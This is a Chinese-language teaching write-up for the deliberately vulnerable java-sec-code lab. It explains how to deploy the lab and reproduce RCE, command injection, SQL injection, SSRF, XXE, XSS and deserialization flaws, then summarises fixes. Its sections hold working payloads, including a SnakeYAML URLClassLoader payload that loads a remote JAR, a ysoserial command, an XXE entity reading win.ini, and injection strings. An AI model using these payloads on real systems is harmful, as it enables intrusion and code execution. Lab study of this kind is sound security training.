Java-sec-code-master 靶场练习
字数 5055 2025-10-26 18:21:34

Java-sec-code-master 靶场实战教学文档

一、 靶场环境搭建

1.1 环境要求

  • IDE: IntelliJ IDEA
  • 构建工具: Apache Maven 3.9.1+
  • Web服务器: Apache Tomcat 9.0.x
  • Java环境: JDK 1.8
  • 数据库: MySQL 5.7.26+

1.2 部署步骤

  1. 获取源码

    git clone https://github.com/JoyChou93/java-sec-code.git
    
  2. 数据库配置

    • 启动MySQL数据库(例如使用phpStudy、XAMPP等集成环境中的MySQL)。
    • 创建数据库,并导入项目中的SQL文件(通常为 sql/ 目录下的 .sql 文件)。
    • 修改项目配置文件 src/main/resources/application.properties,更新数据库连接信息(URL、用户名、密码)。
  3. 项目配置与启动

    • 使用IDEA打开项目。
    • application.properties 中可修改服务器端口(默认8080,若冲突可改为8081):server.port=8081
    • 执行Maven命令 mvn clean install 下载依赖并编译项目。
    • 运行主类 Application.java
    • 访问 http://127.0.0.1:8081,出现界面即表示搭建成功。
  4. Windows环境特殊调整
    由于原作者环境为Linux,部分命令执行漏洞需调整以适应Windows。

    • 修改 CommandInject.java:
      // 将Linux命令
      String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath};
      // 改为Windows命令
      String[] cmdList = new String[]{"cmd.exe", "/c", "dir " + filepath};
      
    • 修改前端页面 index.html,将示例POC路径从Linux格式(/etc/passwd)改为Windows格式(如 D:/test.txt)。

二、 漏洞复现详解

本部分将按漏洞类型逐一讲解。

2.1 远程代码执行(RCE)

漏洞点1:Rce.java - /runtime/exec
  • 原理:直接使用 Runtime.getRuntime().exec(cmd) 执行用户传入的参数,未做任何过滤。
  • 漏洞代码
    @GetMapping("/runtime/exec")
    public String CommandExec(String cmd) {
        Runtime run = Runtime.getRuntime();
        Process p = run.exec(cmd); // 危险!直接执行用户输入
        // ... 读取命令输出
    }
    
  • 复现
    访问 http://127.0.0.1:8081/rce/runtime/exec?cmd=calc.exe(Windows计算器)或 cmd=whoami
漏洞点2:Rce.java - /jscmd
  • 原理:使用Nashorn JavaScript引擎,通过 load() 函数加载并执行远程JS脚本。
  • 漏洞代码
    @GetMapping("/jscmd")
    public void jsEngine(String jsurl) throws Exception {
        ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
        String cmd = String.format("load(\"%s\")", jsurl);
        engine.eval(cmd, bindings); // 加载并执行远程JS
    }
    
  • 复现
    1. 编写恶意JS文件 zz.js
      var Runtime = Java.type("java.lang.Runtime");
      Runtime.getRuntime().exec("calc.exe");
      
    2. 在JS文件所在目录启动HTTP服务:python -m http.server 8000
    3. 访问 http://127.0.0.1:8081/rce/jscmd?jsurl=http://localhost:8000/zz.js
漏洞点3:Rce.java - /vuln/yarm (SnakeYAML反序列化)
  • 原理:使用SnakeYAML的 new Yaml() 默认构造器解析YAML内容,该构造器允许实例化任意Java类,导致反序列化RCE。
  • 漏洞代码
    @GetMapping("/vuln/yarm")
    public void yarm(String content) {
        Yaml y = new Yaml(); // 默认不安全
        y.load(content); // 触发反序列化
    }
    
  • 复现
    1. 准备恶意JAR:使用 yaml-payload 项目,编译生成包含恶意构造器的JAR包。
    2. 启动HTTP服务托管该JAR。
    3. 使用YSOSERIAL或构造特定YAML Payload(利用 ScriptEngineManagerURLClassLoader):
      http://127.0.0.1:8081/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://your-ip:8000/yaml-payload.jar"]]]]
      
      (注意URL编码)
漏洞点4:Rce.java - /groovy
  • 原理:使用 GroovyShell.evaluate(content) 直接执行用户输入的Groovy代码。
  • 复现
    访问 http://127.0.0.1:8081/rce/groovy?content="calc".execute()

2.2 命令注入(Command Injection)

漏洞点:CommandInject.java - /codeinject
  • 原理:将用户输入的 filepath 直接拼接到 dir 命令中,未过滤命令分隔符。
  • 漏洞代码
    @GetMapping("/codeinject")
    public String codeInject(String filepath) throws IOException {
        String[] cmdList = new String[]{"cmd.exe", "/c", "dir " + filepath}; // 拼接漏洞
        ProcessBuilder builder = new ProcessBuilder(cmdList);
        // ... 执行命令
    }
    
  • 复现
    利用 &| 等符号拼接新命令,需要URL编码。
    • http://127.0.0.1:8081/codeinject?filepath=.%26calc.exe (URL编码后 &%26)
    • http://127.0.0.1:8081/codeinject?filepath=.%26ipconfig

2.3 SQL注入(SQL Injection)

漏洞点1:Sqli.java - /jdbc/vuln
  • 原理:直接拼接用户输入 username 到SQL语句中。
  • 漏洞代码
    String sql = "select * from users where username = '" + username + "'";
    
  • 复现
    http://127.0.0.1:8081/sqli/jdbc/vuln?username=joychou' OR '1'='1
漏洞点2:Sqli.java - /mybatis/vuln01 (MyBatis)
  • 原理:在MyBatis的 @Select 注解中使用 ${username} 进行拼接(而非安全的 #{})。
  • 漏洞代码
    @Select("select * from users where username = '${username}'")
    List<User> findByUserNameVuln01(@Param("username") String username);
    
  • 复现
    http://127.0.0.1:8081/sqli/mybatis/vuln01?username=admin' OR '1'='1
漏洞点3:Sqli.java - /mybatis/orderby/vuln03 (MyBatis Order By注入)
  • 原理ORDER BY 后不能使用预编译占位符 #{},只能使用 ${} 拼接,导致注入。
  • 漏洞代码 (XML配置):
    <select id="findByUserNameVuln03" parameterType="String" resultMap="User">
        select * from users
        <if test="order != null">
            order by ${order} asc <!-- 危险! -->
        </if>
    </select>
    
  • 复现
    http://127.0.0.1:8081/sqli/mybatis/orderby/vuln03?sort=id desc--+

2.4 服务器端请求伪造(SSRF)

漏洞点:SSRF.java - /urlConnection/vuln
  • 原理:使用 URLConnection 请求用户传入的 url,未对协议和目标地址进行白名单校验。
  • 漏洞代码
    @GetMapping(value = "/urlConnection/vuln")
    public String URLConnectionVuln(String url) {
        return HttpUtils.URLConnection(url); // 内部直接 new URL(url).openConnection()
    }
    
  • 复现
    • 读取本地文件:http://127.0.0.1:8081/ssrf/urlConnection/vuln?url=file:///D:/test.txt
    • 探测内网服务:http://127.0.0.1:8081/ssrf/urlConnection/vuln?url=http://192.168.1.1:8080

2.5 XML外部实体注入(XXE)

漏洞点1:XXE.java - /xmlReader/vuln
  • 原理:使用SAX解析器 XMLReader 解析XML时,未禁用外部实体。
  • 漏洞代码
    XMLReader xmlReader = XMLReaderFactory.createXMLReader();
    xmlReader.parse(new InputSource(new StringReader(body))); // 未配置安全特性
    
  • 复现
    发送POST请求至 /xxe/xmlReader/vuln,Body为恶意XML:
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [
      <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
    ]>
    <root>
        <name>&xxe;</name>
    </root>
    
    (使用Burp Suite或Postman等工具发送)
漏洞点2:XXE.java - /SAXBuilder/vuln (JDOM)
  • 原理:JDOM的 SAXBuilder 默认也未禁用外部实体。
  • 复现:方式同上。

2.6 跨站脚本(XSS)

漏洞点1:XSS.java - /reflect
  • 原理:将用户输入直接返回给浏览器,未做转义。
  • 复现
    http://127.0.0.1:8081/xss/reflect?xss=<script>alert(1)</script>
漏洞点2:XSS.java - /stored/store & /stored/show (存储型XSS)
  • 原理:将用户输入存入Cookie,再从Cookie中读出并返回。
  • 复现
    1. 访问 http://127.0.0.1:8081/xss/stored/store?xss=<script>alert(1)</script> 将Payload存入Cookie。
    2. 访问 http://127.0.0.1:8081/xss/stored/show 触发XSS。

2.7 反序列化漏洞

漏洞点1:Deserialize.java - /rememberMe/vuln
  • 原理:对Base64解码后的Cookie值直接进行Java原生反序列化。
  • 漏洞代码
    String rememberMe = cookie.getValue();
    byte[] decoded = Base64.getDecoder().decode(rememberMe);
    ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(decoded));
    in.readObject(); // 触发反序列化
    
  • 复现
    1. 使用YSOSERIAL生成恶意序列化数据(如CommonsCollections5 gadget):
      java -jar ysoserial.jar CommonsCollections5 "calc.exe" > payload.bin
    2. payload.bin 内容进行Base64编码。
    3. 将编码后的字符串作为 rememberMe Cookie的值,发送请求至 /deserialize/rememberMe/vuln
漏洞点2:Shiro.java - /shiro/deserialize (Apache Shiro)
  • 原理:Shiro的RememberMe功能使用AES加密后的序列化数据。如果使用默认密钥且版本存在漏洞,攻击者可伪造Cookie触发反序列化。
  • 复现:利用Shiro-550/721等公开漏洞利用工具或脚本。

2.8 其他重要漏洞

  • 路径遍历(Path Traversal): PathTraversal.java,通过 ../ 等序列读取系统任意文件。
  • 日志注入(Log4j): Log4j.java,在受影响版本中,用户输入 token 中的 ${jndi:ldap://...} 会被解析执行。
  • 服务器端模板注入(SSTI): SSTI.java,Velocity引擎中直接执行用户输入的模板内容。
  • 跨域资源共享(CORS)配置不当: Cors.java,将请求头 Origin 直接反射到 Access-Control-Allow-Origin,导致任意源可跨域访问。
  • HTTP响应头截断(CRLF): CRLFInjection.java,用户输入未过滤 \r\n,可注入任意HTTP响应头。

三、 漏洞修复方案总结

  1. RCE/命令注入

    • 避免直接执行用户输入。如需执行命令,应使用白名单严格控制参数。
    • 对用户输入进行严格过滤(如正则表达式 ^[a-zA-Z0-9_/\.-]+$)。
  2. SQL注入

    • 永远不要使用字符串拼接
    • 使用预编译语句(PreparedStatement) 和参数化查询(? 占位符)。
    • 在MyBatis中,优先使用 #{},避免使用 ${}。如必须使用 ${}(如Order By),需自行实现过滤或白名单。
  3. SSRF

    • 建立URL白名单黑名单
    • 校验协议(只允许HTTP/HTTPS)、目标IP(禁止内网地址)。
  4. XXE

    • 在所有XML解析器中,显式禁用DTD和外部实体。
    // 以SAXParser为例
    SAXParserFactory spf = SAXParserFactory.newInstance();
    spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    
  5. XSS

    • 对输出到HTML页面的数据进行HTML转义(如转义 <, >, &, ", ')。
  6. 反序列化

    • 避免反序列化不可信数据。
    • 使用安全的反序列化库或方法,如使用 ObjectInputStream 时重写 ObjectInputStream.resolveClass() 方法进行白名单校验。
    • 升级存在漏洞的第三方库(如Commons-Collections, SnakeYAML, XStream, Shiro)。
  7. 配置安全

    • 确保框架、中间件(如Logback, Jolokia)的安全配置,避免不必要的接口暴露。
    • 使用强密钥,避免使用默认密钥。

四、 工具使用

  • YSOSERIAL:生成Java反序列化利用Payload的工具。
  • Burp Suite:用于拦截、重放、修改HTTP请求,是复现Web漏洞的必备工具。
  • DNSLog平台:用于检测无回显的漏洞(如XXE、SSRF、Log4j),接收DNS查询记录。

通过本教学文档的系统性学习和实践,您将能够深入理解Java Web应用中常见的安全漏洞成因、利用手法及有效的防御措施,显著提升代码安全审计和漏洞挖掘能力。

Java-sec-code-master 靶场实战教学文档 一、 靶场环境搭建 1.1 环境要求 IDE : IntelliJ IDEA 构建工具 : Apache Maven 3.9.1+ Web服务器 : Apache Tomcat 9.0.x Java环境 : JDK 1.8 数据库 : MySQL 5.7.26+ 1.2 部署步骤 获取源码 : 数据库配置 : 启动MySQL数据库(例如使用phpStudy、XAMPP等集成环境中的MySQL)。 创建数据库,并导入项目中的SQL文件(通常为 sql/ 目录下的 .sql 文件)。 修改项目配置文件 src/main/resources/application.properties ,更新数据库连接信息(URL、用户名、密码)。 项目配置与启动 : 使用IDEA打开项目。 在 application.properties 中可修改服务器端口(默认8080,若冲突可改为8081): server.port=8081 。 执行Maven命令 mvn clean install 下载依赖并编译项目。 运行主类 Application.java 。 访问 http://127.0.0.1:8081 ,出现界面即表示搭建成功。 Windows环境特殊调整 : 由于原作者环境为Linux,部分命令执行漏洞需调整以适应Windows。 修改 CommandInject.java : 修改前端页面 index.html ,将示例POC路径从Linux格式( /etc/passwd )改为Windows格式(如 D:/test.txt )。 二、 漏洞复现详解 本部分将按漏洞类型逐一讲解。 2.1 远程代码执行(RCE) 漏洞点1: Rce.java - /runtime/exec 原理 :直接使用 Runtime.getRuntime().exec(cmd) 执行用户传入的参数,未做任何过滤。 漏洞代码 : 复现 : 访问 http://127.0.0.1:8081/rce/runtime/exec?cmd=calc.exe (Windows计算器)或 cmd=whoami 。 漏洞点2: Rce.java - /jscmd 原理 :使用Nashorn JavaScript引擎,通过 load() 函数加载并执行远程JS脚本。 漏洞代码 : 复现 : 编写恶意JS文件 zz.js : 在JS文件所在目录启动HTTP服务: python -m http.server 8000 。 访问 http://127.0.0.1:8081/rce/jscmd?jsurl=http://localhost:8000/zz.js 。 漏洞点3: Rce.java - /vuln/yarm (SnakeYAML反序列化) 原理 :使用SnakeYAML的 new Yaml() 默认构造器解析YAML内容,该构造器允许实例化任意Java类,导致反序列化RCE。 漏洞代码 : 复现 : 准备恶意JAR:使用 yaml-payload 项目,编译生成包含恶意构造器的JAR包。 启动HTTP服务托管该JAR。 使用YSOSERIAL或构造特定YAML Payload(利用 ScriptEngineManager 和 URLClassLoader ): (注意URL编码) 漏洞点4: Rce.java - /groovy 原理 :使用 GroovyShell.evaluate(content) 直接执行用户输入的Groovy代码。 复现 : 访问 http://127.0.0.1:8081/rce/groovy?content="calc".execute() 。 2.2 命令注入(Command Injection) 漏洞点: CommandInject.java - /codeinject 原理 :将用户输入的 filepath 直接拼接到 dir 命令中,未过滤命令分隔符。 漏洞代码 : 复现 : 利用 & 、 | 等符号拼接新命令,需要URL编码。 http://127.0.0.1:8081/codeinject?filepath=.%26calc.exe (URL编码后 & 为 %26 ) http://127.0.0.1:8081/codeinject?filepath=.%26ipconfig 2.3 SQL注入(SQL Injection) 漏洞点1: Sqli.java - /jdbc/vuln 原理 :直接拼接用户输入 username 到SQL语句中。 漏洞代码 : 复现 : http://127.0.0.1:8081/sqli/jdbc/vuln?username=joychou' OR '1'='1 漏洞点2: Sqli.java - /mybatis/vuln01 (MyBatis) 原理 :在MyBatis的 @Select 注解中使用 ${username} 进行拼接(而非安全的 #{} )。 漏洞代码 : 复现 : http://127.0.0.1:8081/sqli/mybatis/vuln01?username=admin' OR '1'='1 漏洞点3: Sqli.java - /mybatis/orderby/vuln03 (MyBatis Order By注入) 原理 : ORDER BY 后不能使用预编译占位符 #{} ,只能使用 ${} 拼接,导致注入。 漏洞代码 (XML配置): 复现 : http://127.0.0.1:8081/sqli/mybatis/orderby/vuln03?sort=id desc--+ 2.4 服务器端请求伪造(SSRF) 漏洞点: SSRF.java - /urlConnection/vuln 原理 :使用 URLConnection 请求用户传入的 url ,未对协议和目标地址进行白名单校验。 漏洞代码 : 复现 : 读取本地文件: http://127.0.0.1:8081/ssrf/urlConnection/vuln?url=file:///D:/test.txt 探测内网服务: http://127.0.0.1:8081/ssrf/urlConnection/vuln?url=http://192.168.1.1:8080 2.5 XML外部实体注入(XXE) 漏洞点1: XXE.java - /xmlReader/vuln 原理 :使用SAX解析器 XMLReader 解析XML时,未禁用外部实体。 漏洞代码 : 复现 : 发送POST请求至 /xxe/xmlReader/vuln ,Body为恶意XML: (使用Burp Suite或Postman等工具发送) 漏洞点2: XXE.java - /SAXBuilder/vuln (JDOM) 原理 :JDOM的 SAXBuilder 默认也未禁用外部实体。 复现 :方式同上。 2.6 跨站脚本(XSS) 漏洞点1: XSS.java - /reflect 原理 :将用户输入直接返回给浏览器,未做转义。 复现 : http://127.0.0.1:8081/xss/reflect?xss=<script>alert(1)</script> 漏洞点2: XSS.java - /stored/store & /stored/show (存储型XSS) 原理 :将用户输入存入Cookie,再从Cookie中读出并返回。 复现 : 访问 http://127.0.0.1:8081/xss/stored/store?xss=<script>alert(1)</script> 将Payload存入Cookie。 访问 http://127.0.0.1:8081/xss/stored/show 触发XSS。 2.7 反序列化漏洞 漏洞点1: Deserialize.java - /rememberMe/vuln 原理 :对Base64解码后的Cookie值直接进行Java原生反序列化。 漏洞代码 : 复现 : 使用YSOSERIAL生成恶意序列化数据(如CommonsCollections5 gadget): java -jar ysoserial.jar CommonsCollections5 "calc.exe" > payload.bin 将 payload.bin 内容进行Base64编码。 将编码后的字符串作为 rememberMe Cookie的值,发送请求至 /deserialize/rememberMe/vuln 。 漏洞点2: Shiro.java - /shiro/deserialize (Apache Shiro) 原理 :Shiro的RememberMe功能使用AES加密后的序列化数据。如果使用默认密钥且版本存在漏洞,攻击者可伪造Cookie触发反序列化。 复现 :利用Shiro-550/721等公开漏洞利用工具或脚本。 2.8 其他重要漏洞 路径遍历(Path Traversal) : PathTraversal.java ,通过 ../ 等序列读取系统任意文件。 日志注入(Log4j) : Log4j.java ,在受影响版本中,用户输入 token 中的 ${jndi:ldap://...} 会被解析执行。 服务器端模板注入(SSTI) : SSTI.java ,Velocity引擎中直接执行用户输入的模板内容。 跨域资源共享(CORS)配置不当 : Cors.java ,将请求头 Origin 直接反射到 Access-Control-Allow-Origin ,导致任意源可跨域访问。 HTTP响应头截断(CRLF) : CRLFInjection.java ,用户输入未过滤 \r\n ,可注入任意HTTP响应头。 三、 漏洞修复方案总结 RCE/命令注入 : 避免直接执行用户输入。如需执行命令,应使用白名单严格控制参数。 对用户输入进行严格过滤(如正则表达式 ^[a-zA-Z0-9_/\.-]+$ )。 SQL注入 : 永远不要使用字符串拼接 。 使用 预编译语句(PreparedStatement) 和参数化查询( ? 占位符)。 在MyBatis中,优先使用 #{} ,避免使用 ${} 。如必须使用 ${} (如Order By),需自行实现过滤或白名单。 SSRF : 建立 URL白名单 或 黑名单 。 校验协议(只允许HTTP/HTTPS)、目标IP(禁止内网地址)。 XXE : 在所有XML解析器中,显式禁用DTD和外部实体。 XSS : 对输出到HTML页面的数据进行 HTML转义 (如转义 < , > , & , " , ' )。 反序列化 : 避免反序列化不可信数据。 使用安全的反序列化库或方法,如使用 ObjectInputStream 时重写 ObjectInputStream.resolveClass() 方法进行白名单校验。 升级存在漏洞的第三方库(如Commons-Collections, SnakeYAML, XStream, Shiro)。 配置安全 : 确保框架、中间件(如Logback, Jolokia)的安全配置,避免不必要的接口暴露。 使用强密钥,避免使用默认密钥。 四、 工具使用 YSOSERIAL :生成Java反序列化利用Payload的工具。 Burp Suite :用于拦截、重放、修改HTTP请求,是复现Web漏洞的必备工具。 DNSLog平台 :用于检测无回显的漏洞(如XXE、SSRF、Log4j),接收DNS查询记录。 通过本教学文档的系统性学习和实践,您将能够深入理解Java Web应用中常见的安全漏洞成因、利用手法及有效的防御措施,显著提升代码安全审计和漏洞挖掘能力。